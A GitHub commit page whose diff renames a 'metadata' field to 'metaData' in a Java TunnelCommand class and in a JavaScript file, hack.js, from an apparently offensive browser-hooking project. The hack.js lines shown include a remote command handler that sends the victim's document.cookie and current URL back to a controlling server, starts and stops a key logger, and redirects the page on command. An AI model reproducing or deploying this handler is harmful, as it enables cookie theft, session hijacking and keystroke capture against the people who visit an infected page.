Skip to content

Commit

Permalink
Improved naming consistency
Browse files Browse the repository at this point in the history
  • Loading branch information
Byron Voorbach committed Dec 18, 2013
1 parent 8b35849 commit 43341e5
Show file tree
Hide file tree
Showing 2 changed files with 10 additions and 10 deletions.
14 changes: 7 additions & 7 deletions src/main/java/nl/byron/hacking/model/TunnelCommand.java
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,12 @@ public class TunnelCommand {

private String id;
private String type;
private String metadata;
private String metaData;

public TunnelCommand(String id, String type, String metadata) {
this.id = id;
this.type = type;
this.metadata = metadata;
this.metaData = metadata;
}

public String getId() {
Expand All @@ -31,20 +31,20 @@ public void setType(String type) {
this.type = type;
}

public String getMetadata() {
return metadata;
public String getMetaData() {
return metaData;
}

public void setMetadata(String metadata) {
this.metadata = metadata;
public void setMetaData(String metaData) {
this.metaData = metaData;
}

@Override
public String toString() {
return "TunnelCommand{" +
"id='" + id + '\'' +
", type='" + type + '\'' +
", metadata='" + metadata + '\'' +
", metaData='" + metaData + '\'' +
'}';
}
}
6 changes: 3 additions & 3 deletions src/main/resources/META-INF/static/js/hack.js
Original file line number Diff line number Diff line change
Expand Up @@ -55,9 +55,9 @@
var handleData = function (data) {
console.dir(data);
if (data.type == 'msg') {
alert(data.metadata);
alert(data.metaData);
} else if (data.type == 'getCookies') {
sendCommandToServer("receiveUrl", document.cookie);
sendCommandToServer("receiveCookies", document.cookie);
} else if (data.type == 'getUrl') {
sendCommandToServer("receiveUrl", window.location.href);
} else if (data.type == 'getSite') {
Expand All @@ -67,7 +67,7 @@
} else if (data.type == 'stopLogger') {
stopKeyLogger();
} else if (data.type == 'goToUrl') {
window.location.href = data.metadata;
window.location.href = data.metaData;
}

};
Expand Down

0 comments on commit 43341e5

Please sign in to comment.